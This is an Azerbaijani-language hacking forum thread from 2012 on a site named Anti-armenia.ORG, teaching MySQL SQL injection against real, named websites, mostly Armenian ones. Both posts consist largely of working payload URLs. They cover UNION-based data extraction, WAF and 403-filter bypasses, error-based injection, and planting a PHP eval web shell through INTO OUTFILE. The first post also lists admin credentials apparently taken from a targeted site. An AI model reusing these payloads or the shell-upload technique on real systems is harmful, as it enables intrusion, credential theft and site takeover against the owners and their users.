Istifadəçi |
2012-04-08 15:19 GMT |
|
|
|
İstifadəçi |
|
Mesaj Sayı : 6 |
Mövzu Sayı : |
Rep Ver : |
Rep Sayı : 0 |
Indi Saytda : |
Cinsiyyət : Oğlan |
|
Şəhər : Baki |
Ölkə : |
Məslək : Hacker (MySQL) |
Yaş : 30 |
Mesaj : |
|
Salam Anti-armenia!
Bügun mən sizə göstərəcəyəm necə SQL-injection işlətmək lazimdı. (Sual - Cavab)
1) SQL-injection necə tapmaq olar?
Bizdə link var - http://site.am/news.php?id=1 Bazaya ona belə qedir
Kod: SELECT * FROM news WHERE id='1'
İndi biz "1" yanina ' goyuruq. Sitat http://site.am/news.php?id=1'
Və SQL bazaya belə olur
Kod: SELECT * FROM news WHERE id='1'' Və biz burda görürük səhv.
mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1''
Belə olur ancaq "səhv serverdə ON". Həmişə ' goymuyun! (magic_quotes_gpc = On) olanda - parametrin yanina 999999999 və ya -5 goyun. Axirda -- goyun.
2.1) Səhv tapdım, sonra nə edim? Tapdın - super...
İndi biz "kolonka" tapmaq lazımdı. Belə SQL http://site.am/news.php?id=1'+order+by+100-- Operator "order+by, group+by" eyni şeydi)
Əgər siz yuxardaki yazdım operatorlar sizdə belə rast gələrsiniz mysql_query(): Unknown column '100' in 'order clause' və yə mysql_fetch_array. +order+by+10-- elyirsiz. Gördüz səhv yoxdu, yoxlayirsız ...-1'+order+by+11-- Səhv var deməli kolonka 10-dir. Sonra belə - http://site.am/news.php?id=1'+union+select+1,2,3,4,5,6,7,8,9,10--
Məsəlçün bizdə səhv "kolonka" 5-dir. 5 pozuruq və yerinə funksiya qoyuruk.
Sitat USER()- MySQL userin adı göstərir.
DATABASE()- MySQL bazanın adı.
VERSION()- MySQL versiyasi göstərir
----------------------------
ASCII(str)
CHAR(xx1,xx2,...)
HEX(str)
----------------------------
LENGTH(str)
LOCATE(substr,str[,pos])
----------------------------
SUBSTRING(str,pos[,len])
SUBSTRING(str FROM pos[ FOR len])
MID(str,pos[,len])
MID(str FROM pos[ FOR len])
----------------------------
LOWER(str)
CONCAT(param1,param2,...)
CONCAT_WS(sep,param1,param2,...)
Necə adminin login və onun parolu bazadan "çıxartmak" olur? - Oxuyun Avatar Fearless
Məsələn adi SQL-injection
Kod: http://www.avtocars.ru/index.php?action=news&id=-1225%20union%20select%201,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,3,4,5,6,7--
Cavab servindən ecliptru_ac@localhost:ecliptru_ac:5.0.26-lk-log
2.2) Əgər WAF (Web Application Firewall) və filtrasiya keçmək necə lazımdı?? - Onları Keçmək belə lazımdı.
WAF olanda, o "UNION,SELECT,FROM,WHERE və ' " pozur... Çıxış yolu belədi
http://site.am/news.php?id=9999999+/*!UniOn*/+/*!sElEcT*/+1,2,3,4,5,6,7,8,9,10--
Məsələn Kod: http://www.streetofdreams.com/show_details.php?id=99999999999+/*!UnIon*/+/*!selECt*/+1,2,3,4,5,6,7,8,9,10,11,12,13+--+
Kod: http://www.streetofdreams.com/show_details.php?id=999999999+/*!UnIon*/+/*!selECt*/+1,2,3,4,5,6,/*!GroUp_concat%28COLUMN_NAME%29*/,8,9,10,11,12,13+/*!FrOm*/+INFORMATION_SCHEMA.COLUMNS+/*!WhErE*/+/*!TABLE_NAME*/=unhex%28hex%280x55535f5553455253%29%29+--+
Burda siz görürsüz - unhex(hex(0x55535f5553455253)) Bu nədi siz sual verirsiz. Bu ' filtrasiyani keçmək üçündür. (Əgər fitrasiya yoxdur, siz sadəcə belə sql olur - Kod: http://site.am/news.php?id=99999999999+union+select+1,2,3,4,column_name,6,7,8,9,10+from+where+TABLE_NAME=’Admin’+limit+0,1-- ode]
Əgər +, probel, filtrasiya olur, siz onun yerinə /**/ %09 %0A %0D %0B %0C
Kod: http://site.am/news.php?id=99999999999/**/union+select/**/1,2,3,4,column_name,6,7,8,9,10/**/from/**/where/**/TABLE_NAME=’Admin’/**/limit+0,1-- ode]
2.3) http://site.am/news.php?id=99999999999+union+select+1,2,3,4,5,6,7,8,9,10-- Belə elyərəm 5 səyfədə çıxır, amma belə
http://site.am/news.php?id=99999999999+union+select+1,2,3,4,@@version,6,7,8,9,10-- çixmir... Niyə?
Çunki @@version filtrasiya olur. Bunu keçmək yollari
@@version əvəzinə
cast(Version()+as+binary)
CONVERT(Version(),binary)
convert(version()+using+latin1)
convert(version()+using+binary)
aes_decrypt(aes_encrypt(Version(),1),1)
unhex(hex(version())) Edirik.
3.1) Error-Based SQL-injection. Ag səgfəsində olur.
Kod: http://site.am/news.php?id=99999999999+and+(select+1+from+(select+count(0),concat((select+version()),floor(rand(0)*2))+from+(select+1+union+select+2+union+select+3)x+group+by+2+limit+1)a)--+
Cavab servindən - Duplicate entry '5.0.45-community-nt' for key 1 nt olanda - Windows OC. log olanda - OC Linux,FreeBSD və s.
Məsələn - Kod: http://www.sportinfo.am/?events_type=forign&startup=setup_calendar0§ion=news%27+and+%28select+1+from+%28select+count%280%29,concat%28%28select+version%28%29%29,floor%28rand%280%29*2%29%29+from+%28select+1+union+select+2+union+select+3%29x+group+by+2+limit+1%29a%29--+
Cavab servindən - Duplicate entry '5.5.141' for key 'group_key'
Kod: http://www.sportinfo.am/?events_type=forign&startup=setup_calendar0§ion=news%27+and%28select+1+from%28select+count%28*%29,concat%28%28select+table_name+from+information_schema.tables+limit+51,1%29,floor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29--+
Axirda admin:amaretto.c67 və developer:moonlight
3.2) SQL-İnjection onun köməliylə sayta necə shell yüklənmək olar? - Cavab
Kod: http://site.am/news.php?id=99999999999+union+select+1,2,3,4,File_priv,6,7,8,9,10+from+mysql.user--+
Əgər sizdə Y çıxdı - əla Və siz əvvəl servirin yolu tapmalisiz.
http://site.am/news.php?id=99999999999+union+select+1,2,3,4,'<?php eval($_GET[‘cmd’])?>',6,7,8,9,10+INTO+OUTFILE+'/home/am/site/1.php' --
Sonra belə - [url]http://site.am/1.php?cmd=phpinfo();[/url] Əgər phpinfo gördüz, deməli mini-shell saytadir)
Və bugünlik bəsidir. Bir Həftədən sonra Biz oyrənəcəyük Blind & Time-Based SQL-injection, sizə program verərəm onlarna işlətmək üçün.
Diqqət! Məlumat tanışlıq məqsədi yalnız təmindir! Mən aydin-ka bunun üçün məsuliyyət deyiləm. Siz öz hərəkətləri üçün məsuliyyət daşıyır!
[URL=http://2ip.ru/][IMG]http://2ip.ru/bar/ip3.gif[/IMG][/URL]
|
Anti-armenia.ORG |
|
Istifadəçi |
2012-04-08 16:57 GMT |
|
|
|
Gold |
|
Mesaj Sayı : 167 |
Mövzu Sayı : |
Rep Ver : |
Rep Sayı : 7 |
Indi Saytda : |
Cinsiyyət : Oğlan |
|
Şəhər : |
Ölkə : |
Məslək : |
Yaş : |
Mesaj : |
|
Təşəkkürlər Aydın-ka.Gözəl anlatnmısan,Qısa və Kankret.
Mən də bir iki şeyi istərdim nəzərinizə çatdırım.
WAF üsulu 406 not acceptable filtrasiyasını keçməkçün istifadə olunur və keçərlidir.
403 Forbidden filtrasiyası da vardır ki,Əminliklə deyə bilərəmki çoxları 403 forbidden filtrasiyası ilə qarşılaşanda ardını getməkdə əziyyət çəkir və əlini üzür həmin saytdan.
Düzdü,Elə 403 forbidden filtrasiyaları var ki,keçilməzdir.amma 100% security deilən şey yoxdur
Misalçün,saytımız
Kod: http://construction.am/article.php?id=210
Errorumuzu alırıq və kolon(column) sayımızı tapırıq.Kolon sayımız 12
Kod: http://construction.am/article.php?id=-210+union+select+1,2,3,4,5,6,7,8,9,10,11,12
Və gördüyünüz kimi qarşımıza 403 Forbidden erroru çıxdı.Errorun mənası odur ki,həmin linkə girişə icazə yoxdur.
bəzi 403 forbiddenlərdə WAF üsulunu tətbiq edərək YALNIZ kolon sayını göstərən hissədə filtrasiyanı keçə bilərik.WAF ilə biz table,column və data çəkə bilməyəcəyik.403 forbidden erroru alacağıq.
Qısacası,bu filtrasiyanı keçməyin yolu union+select+1,2,3,4,5,6,7,8,9,10,11,12 bu hissəni union+(select+1,2,3,4,5,6,7,8,9,10,11,12)-- bu cür dəyişməkdir və ya uNioN+(sElEcT+1,2,3,4,5,6,7,8,9,10,11,12)-- kimi də ola bilər.
Kod: http://construction.am/article.php?id=-210+uNioN+(sElEcT+1,2,3,4,5,6,7,8,9,10,11,12)--
Gördüynüz kimi error yığışdırıldı və kolon nömrəmiz ekrana vurdu.
Nömrəmiz 8
Kod: http://construction.am/article.php?id=-210+uNioN+(sElEcT+1,2,3,4,5,6,7,version(),9,10,11,12)--
Versiyamız : 5.5.19-55
İndi..Table adları və Kolon adlarını necə çəkə bilərik.
Kod: http://construction.am/article.php?id=-210+uNioN+(sElEcT+1,2,3,4,5,6,7,group_concat(table_name),9,10,11,12+from+information_schema.tables)--
gördüyünüz kimi 403 forbidden.deməli yazdığımız kodlara filtr var.
Kod: http://construction.am/article.php?id=-210+uNioN+(sElEcT+1,2,3,4,5,6,7,table_name,9,10,11,12+from+information_schema.tables)--
yenə 403 forbidden error.. Deməli "tables" sözünə filtr qoyulub."tables" i "table_constraints" ilə əvəz etməliyik.eyni funksyanı daşıyır.necə ki,group by , order by kimi.
Və təbii ki,group_concat işləmədiyinə görə limit ilə çəkməli olacağıq.
Kod: http://construction.am/article.php?id=-210+uNioN+(sElEcT+1,2,3,4,5,6,7,table_name,9,10,11,12+from+information_schema.table_constraints+limit+0,1)--
gördüyünüz kimi ekrana table adımız gəldi.limit 0,1 də 0 ı artıra artıra getdikdə digər table adlarını görə biləcəyik
Column adlarına baxmaqçün belə etməliyik.
Kod: http://construction.am/article.php?id=-210+uNioN+(sElEcT+1,2,3,4,5,6,7,column_name,9,10,11,12+from+information_schema.columns+where+table_name=0xTableHexlenmiwFormada+limit+0,1)--
və sonda data çəkməkçün
Kod: http://construction.am/article.php?id=-210+uNioN+(sElEcT+1,2,3,4,5,6,7,columnadı,9,10,11,12+from+tableadı+limit+0,1)-- e]
bu şəkildə olacaqdır.
Qeyd edim ki,bəzi saytlarda order+by çəkdikdə 403 forbidden gələ bilər.
group+by ilə əvəz etdikdə bu filtri keçə bilərsiniz
Kod: http://www.veikot.lv/index.php?id=10+order+by+1 - 403 ERROR
Kod: http://www.veikot.lv/index.php?id=10+group+by+1 - Düzgün Səhifə ode]
Bu Qədər. Kimin nə sualı olsa mövzu altında bildirə bilər.
|
Anti-armenia.ORG |
|
|
|